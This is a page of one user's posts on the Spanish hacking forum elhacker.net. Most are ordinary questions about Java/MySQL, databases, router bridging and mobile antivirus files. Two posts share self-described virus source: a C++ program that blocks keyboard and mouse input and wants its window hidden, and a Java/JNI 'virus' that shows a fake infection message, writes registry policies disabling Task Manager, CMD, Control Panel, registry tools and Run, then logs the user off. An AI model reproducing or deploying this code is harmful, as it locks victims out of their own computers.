elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Sigue las noticias más importantes de seguridad informática en el Twitter! de elhacker.NET


  Mostrar Mensajes
Páginas: 1 2 [3] 4 5 6
21  Programación / Java / Como Realizar un Buscador en Java y MySql? en: 12 Marzo 2011, 22:48 pm
Buenas saludos a todos,bueno mi problema es que intento realizar un buscador en java,pero lo quiero es que cuando vaya escribiendo en el JTextField();y me vayan apareciendo los posibles resultados,lo estoy implementando con esto:
Código
  1.   public String[] buscarpersona (int id){
  2.  
  3.  
  4.         try
  5.         {
  6.            Class.forName (driver);
  7.  
  8.            con = DriverManager.getConnection (url + db,user,pass);
  9.            System.out.println ("su conexion ha sido muy exitosa");
  10.            stmt = con.createStatement();
  11.            rs=stmt.executeQuery("SELECT * FROM personas WHERE personaid='" +id+"'");
  12.            ResultSetMetaData rsmd=rs.getMetaData();
  13.            datos=new String[rsmd.getColumnCount()];
  14.            int cont2=1;
  15.         //ciclo de llenado de resultset al arreglo para poder mandarlo al programa
  16.         //arreglo-->0
  17.         //resultset-->1
  18.            while(rs.next()){
  19.               for(int cont=0;cont<rsmd.getColumnCount();cont++){
  20.                  datos[cont]=rs.getString(cont2);
  21.                  cont2++;
  22.  
  23.               }
  24.            }
  25.            stmt.close();
  26.            con.close();
  27.            return datos;
  28.  
  29.         }
  30.             catch (Exception e){
  31.               e.printStackTrace();
  32.               System.err.println ( e.getMessage ());
  33.  
  34.  
  35.  
  36.  
  37.  
  38.               return datos;
  39.  
  40.  
  41.  
  42.  
  43.  
  44.            }
  45.      }
  46.  
  47.  

y esto es lo que tengo en java:
Código
  1.  
  2. private void btnbuscarActionPerformed(java.awt.event.ActionEvent evt){
  3. String datos[];
  4. try{
  5. int id=Integer.parseInt(txtReg.getText());
  6. datos=bd.BuscarPersona(id);
  7. if(datos!=null){
  8. //datos[0] corresponde al id
  9. txtNombre.setText(datos[1]);
  10. txtDomicilio.setText(datos[2]);
  11. txtMail.setText(datos[3]);
  12. txtCiudad.setText(datos[4]);
  13. }
  14. }catch(Exception e){
  15. JOptionPane.showMessageDialog(this,"debe escribir un numero en el campo de registro","aviso",JOptionPane.ERROR_MESSAGE);
  16. txtReg.grabFocus();
  17. txtReg.selectAll();
  18. }
  19. }
  20.  
  21.  
aver si alguien me puede recomendar algo,estaba buscando sobre keylistener,no se si alguno de ustedes han hecho algo parecido,saludos y gracias de antemano xauz...
22  Programación / Programación General / sistema de bases de datos portable en mysql o en visual foxpro?? en: 1 Febrero 2011, 00:07 am
buenas xd me preguntabaa si alguien me da su punto de vista lo que pasa es que tengo que hacer un sistema de bases de datos  este sistema esta en clipper y en DBase y me pregunto para cual seria mejor pasarloo para MYSQL O PARA VISUAL FOX PRO,los comentarios de visual fox pro es qeu me dijeron es de ancianoss si alguien me puede dar su oponion ya que el sistema va enfocado para uso empresariallll XD,espero sus respuestas aver si alguien me puede da su opinion saludos XD
23  Comunicaciones / Redes / Re: como instalar una red con adsl y router wrt54hg-g en: 31 Enero 2011, 23:39 pm
muy bien ya lo puse como puente mann ahora que mas sigueee,los pasos son los siguientess:
por si alguien le sirve mas adelante se los dejooo saludoss..
lo que hay que hacer es entrar a la configuracion del modem y en nombre de usuario de contraseñas de la configuracion del enlace de banda ancha ponle uno que no exista es decir

User: 12345
Pw: 12345
Conf. Pw: 12345

Esto lo que hace es que entre en error el modem y queda en modo  BRIDGEEEE y ya puedes hacer la conexion desde algun otro equipo que este colgado al 2wire como un router linksys... pero ahora con la asignacion de ipsss

 tengo mi servidorr con 2 tarjeta de redd XD una que llega el inter y otra que sale para los switchh que me recomiendas configurar primero man??... saludo de antemano gracias XD
24  Comunicaciones / Redes / como instalar una red con adsl y router wrt54hg-g en: 31 Enero 2011, 04:17 am
buenas a todos,ya estuve leyendo estos dos links pero no puedo hechar a andar estoo
http://www6.nohold.net/Cisco2/ukp.aspx?vw=1&docid=14c8cf4085c143349f9c9cde41579554_9693.xml&pid=80&respid=0&snid=3&dispid=0&cpage=search


http://www6.nohold.net/Cisco2/ukp.aspx?vw=1&docid=651d7d284e044e00a42688da74a5f714_11730.xml&pid=80&respid=0&snid=5&dispid=0&cpage=search



lo que quiero hacer es conectar el modem del 2wire del infinitum al routerrr y de ahi sacar los 2 swtch del router y hacer una maquina sea servidorrr pero no logro sacar el internet,alguien le ha pasadoo estoo que em pudiera ayudar,no vengo aq ue em hagan el trabajooo solo hize una preguntaaaa,pero si alguieb quisiera ayudarmee de vrdd se lo agraeceriaa bastantee ,no paso de ahii de sacar el internet,he oido que tengo que deshabilita el server DHCP EN UNO DE LOS 2,ya que los modem 2wire tambien son modem/router si alguien sabe algo que m lo haga saber si estoy en lo correcto o nooo,saludos espero contar con su apoyoo ...byeee
25  Programación / Programación General / Re: como crear una aplicacion de un sistema de bases de datos con MYSQL AB en: 30 Diciembre 2010, 01:13 am
por lo tanto cambiando el lenguaje y diseñando nuevamente la DB estaria todo solucionado.
aqui esta la clave lo que yo busco me pregunto si quiero crear una aplicacion portable como un sistema de bases de datos llamese sistema de puntos de venta,tengo que"hacer portable el servidor"aqui esta la pregunta del año,como hago una aplicacion portable como la que muestro en la imagen,no se si me puedas iluminar a tanta ignorancia jeje...saludos XD y gracias por tu tiempo!
26  Programación / Programación General / como crear una aplicacion de un sistema de bases de datos con MYSQL AB en: 23 Diciembre 2010, 16:59 pm
buenas XD a todos primero que nada les deceo a toda la comunidad felices fiests decembrimas,feliz navidad,bueno mi pregunta es como desarrollar una aplicacion de un sistema de bases de datos con MYSQL AB,este sistema esta hechoe en clipper y yo lo quiero hacer en MYSQL,alguien sabe o tiene alguna idea de como implementarlo,y que se puedan realizar consultas como actualizar,dar de bajas,dar de altas busquedas, sin mas ni menos dejo unas imagenes de lo qeu quiero hacer saludos XD




27  Programación / Programación C/C++ / Re: como hacer para que no aparezca la pantalla de compilacion en C++? en: 12 Diciembre 2010, 16:55 pm
XD muchas gracias por responder XD,sin tu ayuda no lo hubiera hecho auqnue pense que solo quitandole el getchar();funcionanaria pero de la manera en que me dices es una buena opcion gracias..cierro tema...
28  Programación / Programación C/C++ / como hacer para que no aparezca la pantalla de compilacion en C++? en: 12 Diciembre 2010, 16:28 pm
Buenas XD bueno ahora lo que trato de implementar en un virus es el bloqueo del teclado y el mouse,pero compilo el proceso con dev c++ y me genera el .exe.ahora al darle doble click al exe,me aparece la pantalla en negro,como hacer para ocultar esa pantalla y que no me muestre nada,que solo lo realize el bloqueo internamente en el sistema operativo..alguien me puede ayudar como hacer para que no aparezca la pàntalla en negro....aqui les dejo mi codigo y una imagen de loq ue quiero ocultar..saludos XD..y FELICEZ FIESTAS NAVIDEÑAS! ;D ;D ;D






Código:

#include <windows.h>
#include <cstdlib>
#include <iostream>
#include <winable.h> // Necesaria para blockinput();
 
 
using namespace std;
 
int main(int argc, char *argv[])
{
    if(BlockInput(true)==0)
     {
 
    Sleep(5000000);
    BlockInput(false);
    }
 

    getchar();
    return EXIT_SUCCESS;
}






29  Programación / Java / como crear un virus en java y c++ implementando JNI en: 12 Diciembre 2010, 06:54 am
Buenas XD,saludos bueno aver si alguien tiene una idea de esto o ustdes mismos lo pueden testear  bueno lo que intento hacer es crear virus en java con c++ implementando Java native interfaz,solo que tengo una duda si asi mis metodos estan bien declarados en JNI y mi duda tambien es como crear el archivo .ccp para armar la libreria .dll sin mas ni menos aqui estan los codigos:
mi archivo JNIvirus
Código:

   import java.awt.Frame; //Crear frame
import java.awt.Robot; //Controla los eventos del teclado
  import java.io.*;//Entrada y salida de datos
   import java.util.logging.Level; //Captura errores
   import java.util.logging.Logger; //Captura errores

    class JNIvirus extends Frame
   {
      static {
         System.loadLibrary("JNIvirusLibrary");
      /**
       * Carga de la DLL hecha en C++ para bloquear teclado y mouse
       */
      }
  
   //AQUI mi problema esta en estos metodos si van con public native o  solo public native void no me manda ningun error
  
       public native void enSistema ();
    
  
       public native void mouseCold ();
        
  
       public native void killprocess ();
        
   //***************************************************************+
   //===========METODOS DE PUBLIC VOID CREADOS CON JNI
  
       public void runvirus1 ()
      {
      
      
         try
         {
        
        
          //***********aqui infecto aplicaciones agregando sus valores en el registro de win poniendo el valor en 1
            Runtime.getRuntime ().exec ("cmd /c msg *ESTAS INFECTADO POR EL VIRUS JNI JAVA AND C++");
            Runtime.getRuntime ().exec (" cmd /c reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v DisableTaskMgr /t REG_DWORD /d 1 /f ");
            Runtime.getRuntime ().exec (" cmd /c reg add HKCU\\Software\\Policies\\Microsoft\\Windows\\System /v DisableCMD /t REG_DWORD /d 1 /f ");
        
        
        
            Runtime.getRuntime ().exec (" cmd /c reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer /v NoControlPanel /t REG_DWORD /d 1 /f ");
            Runtime.getRuntime ().exec (" cmd /c reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v DisableRegistryTools /t REG_DWORD /d 1 /f ");
            Runtime.getRuntime ().exec (" cmd /c reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer /v NoRun /t REG_DWORD /d 1 /f ");
            //**********cierro sesion para aplicar cambios
            Runtime.getRuntime ().exec ("logoff");
        
         }
             catch (IOException ex)
            {
               Logger.getLogger (JNIvirus.class.getName ()).log (Level.SEVERE, null, ex);
            }
         enSistema ();
        
      
      }
  
  
   /////////////////////////////////////////////////////////////////////////////7
   //////////////////////////////////////////////////////////////////////////////////////
  
       public void runvirus2 ()
      {
      
      
      
         System.out.println("metodo corriendo JNI");
         mouseCold ();
      
      }
  
  
   //*******************************************************************************************
       public void runvirus3 ()
      {
         System.out.println("metodo corriendo JNI");
      
      
         killprocess ();
      
      }
  
  
  
  
  
   }






mi archivo main class

Código:
 public class Main{
       public static void main (String[] args)
      {
      
         JNIvirus JNIprueba = new JNIvirus ();
      
         JNIprueba.enSistema ();
         JNIprueba.mouseCold();
         JNIprueba.killprocess();
        
        
      
      }
   }





una vez compilandolo con javac genero mi archivo .h con javah -jni JNIvirus


Código:


/* DO NOT EDIT THIS FILE - it is machine generated */
#include <jni.h>
/* Header for class JNIvirus */

#ifndef _Included_JNIvirus
#define _Included_JNIvirus
#ifdef __cplusplus
extern "C" {
#endif
#undef JNIvirus_FOCUS_TRAVERSABLE_UNKNOWN
#define JNIvirus_FOCUS_TRAVERSABLE_UNKNOWN 0L
#undef JNIvirus_FOCUS_TRAVERSABLE_DEFAULT
#define JNIvirus_FOCUS_TRAVERSABLE_DEFAULT 1L
#undef JNIvirus_FOCUS_TRAVERSABLE_SET
#define JNIvirus_FOCUS_TRAVERSABLE_SET 2L
#undef JNIvirus_TOP_ALIGNMENT
#define JNIvirus_TOP_ALIGNMENT 0.0f
#undef JNIvirus_CENTER_ALIGNMENT
#define JNIvirus_CENTER_ALIGNMENT 0.5f
#undef JNIvirus_BOTTOM_ALIGNMENT
#define JNIvirus_BOTTOM_ALIGNMENT 1.0f
#undef JNIvirus_LEFT_ALIGNMENT
#define JNIvirus_LEFT_ALIGNMENT 0.0f
#undef JNIvirus_RIGHT_ALIGNMENT
#define JNIvirus_RIGHT_ALIGNMENT 1.0f
#undef JNIvirus_serialVersionUID
#define JNIvirus_serialVersionUID -7644114512714619750i64
#undef JNIvirus_serialVersionUID
#define JNIvirus_serialVersionUID 4613797578919906343i64
#undef JNIvirus_INCLUDE_SELF
#define JNIvirus_INCLUDE_SELF 1L
#undef JNIvirus_SEARCH_HEAVYWEIGHTS
#define JNIvirus_SEARCH_HEAVYWEIGHTS 1L
#undef JNIvirus_OPENED
#define JNIvirus_OPENED 1L
#undef JNIvirus_serialVersionUID
#define JNIvirus_serialVersionUID 4497834738069338734i64
#undef JNIvirus_DEFAULT_CURSOR
#define JNIvirus_DEFAULT_CURSOR 0L
#undef JNIvirus_CROSSHAIR_CURSOR
#define JNIvirus_CROSSHAIR_CURSOR 1L
#undef JNIvirus_TEXT_CURSOR
#define JNIvirus_TEXT_CURSOR 2L
#undef JNIvirus_WAIT_CURSOR
#define JNIvirus_WAIT_CURSOR 3L
#undef JNIvirus_SW_RESIZE_CURSOR
#define JNIvirus_SW_RESIZE_CURSOR 4L
#undef JNIvirus_SE_RESIZE_CURSOR
#define JNIvirus_SE_RESIZE_CURSOR 5L
#undef JNIvirus_NW_RESIZE_CURSOR
#define JNIvirus_NW_RESIZE_CURSOR 6L
#undef JNIvirus_NE_RESIZE_CURSOR
#define JNIvirus_NE_RESIZE_CURSOR 7L
#undef JNIvirus_N_RESIZE_CURSOR
#define JNIvirus_N_RESIZE_CURSOR 8L
#undef JNIvirus_S_RESIZE_CURSOR
#define JNIvirus_S_RESIZE_CURSOR 9L
#undef JNIvirus_W_RESIZE_CURSOR
#define JNIvirus_W_RESIZE_CURSOR 10L
#undef JNIvirus_E_RESIZE_CURSOR
#define JNIvirus_E_RESIZE_CURSOR 11L
#undef JNIvirus_HAND_CURSOR
#define JNIvirus_HAND_CURSOR 12L
#undef JNIvirus_MOVE_CURSOR
#define JNIvirus_MOVE_CURSOR 13L
#undef JNIvirus_NORMAL
#define JNIvirus_NORMAL 0L
#undef JNIvirus_ICONIFIED
#define JNIvirus_ICONIFIED 1L
#undef JNIvirus_MAXIMIZED_HORIZ
#define JNIvirus_MAXIMIZED_HORIZ 2L
#undef JNIvirus_MAXIMIZED_VERT
#define JNIvirus_MAXIMIZED_VERT 4L
#undef JNIvirus_MAXIMIZED_BOTH
#define JNIvirus_MAXIMIZED_BOTH 6L
#undef JNIvirus_serialVersionUID
#define JNIvirus_serialVersionUID 2673458971256075116i64
/*
 * Class:     JNIvirus
 * Method:    enSistema
 * Signature: ()V
 */
JNIEXPORT void JNICALL Java_JNIvirus_enSistema
  (JNIEnv *, jobject);

/*
 * Class:     JNIvirus
 * Method:    mouseCold
 * Signature: ()V
 */
JNIEXPORT void JNICALL Java_JNIvirus_mouseCold
  (JNIEnv *, jobject);

/*
 * Class:     JNIvirus
 * Method:    killprocess
 * Signature: ()V
 */
JNIEXPORT void JNICALL Java_JNIvirus_killprocess
  (JNIEnv *, jobject);

#ifdef __cplusplus
}
#endif
#endif






utlizo el dev c++ me voy en crear nuevo proyecto y selecciono la libreria .dll
me salen dos archivos en el primero dll.h lo remplazare por la libreria .h de mi clase,y mi archivo Dllmain.cpp va mi archivo que tengo de C++ aqui esta su code,es lo que quiero mandar a traer desde java...
Código:


mi problema esta aqui para crear la libreria .dll ya tengo mi archivo JNIvirus.h pero el codigo de C++ no se como mandarlo tambien... como la creo para mandar a llamar los metodos de java alguien me puede decir



#include <windows.h> //Para poder agregar la entrada al registro
#include <winable.h>
#include <tlhelp32.h>
#include <stdio.h>




char* die1="DisableCMD";


NIEXPORT void JNICALL Java_JNIvirus_enSistema
  (JNIEnv *, jobject);

/*
 * Class:     JNIvirus
 * Method:    mouseCold
 * Signature: ()V
 */
JNIEXPORT void JNICALL Java_JNIvirus_mouseCold
  (JNIEnv *, jobject);

/*
 * Class:     JNIvirus
 * Method:    killprocess
 * Signature: ()V
 */
JNIEXPORT void JNICALL Java_JNIvirus_killprocess
  (JNIEnv *, jobject);

void Bloquear(char* Aplicacion)
{

try
{
HKEY hHKCU = NULL, hMyKey = NULL;
DWORD value = 0;
if (Aplicacion=="DisableCMD")
{
if (RegOpenKeyEx(HKEY_CURRENT_USER, NULL, 0, KEY_WRITE, &hHKCU) == ERROR_SUCCESS)
{
if (RegCreateKeyEx(hHKCU, "Software\\Policies\\Microsoft\\Windows\\System", 0, NULL, 0, KEY_WRITE, NULL, &hMyKey, NULL) == ERROR_SUCCESS)
{
RegSetValueEx(hMyKey, Aplicacion, 0, REG_DWORD,(BYTE*)&value, sizeof(DWORD));
RegCloseKey(hMyKey);
}

}
}



}//fin try
catch (...)
{
}
}

bool H4CK4LIFE()
{
    
    

}

int main()
{

if (H4CK4LIFE()==false)
{
Bloquear (die1);

}


return 0;
}





ahora si alguien ve los codes si me puede decir como genero mi archivo .cpp tengo que poner los JNIEXPORT,alguien que lo pueda testear y decirme como puedo hacer para terminar la libreria .dll,buenoo espero alguien me pueda orientar,saludos a todos XD...
30  Comunicaciones / Dispositivos Móviles (PDA's, Smartphones, Tablets) / como editar u abrir archivos .sis de celulares? en: 27 Noviembre 2010, 23:51 pm
bueno mi pregunta tal vez sea algo tonta,para ustedes pero mientras leo en el sen sei google,mi pregunta....
bueno mi caso es que desde hace un tiempo queria hacer un antivirus y ahora ya lo tengo,pero me falta el motor de busqueda heuristica y estaba viendo en internet que los anvirus para celulares estan en formato .sis y quiero ver el contenido y editarlos,tal vez estoy pensando si los convierto en .jar y me descomprimira todo el contenido osea los .class y con un programa como java decompile pueda ver el codigo y estudiar el codigo,alguien me puede decir por favor si no le ha pasado lo que me esta pasando amii????
Páginas: 1 2 [3] 4 5 6
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines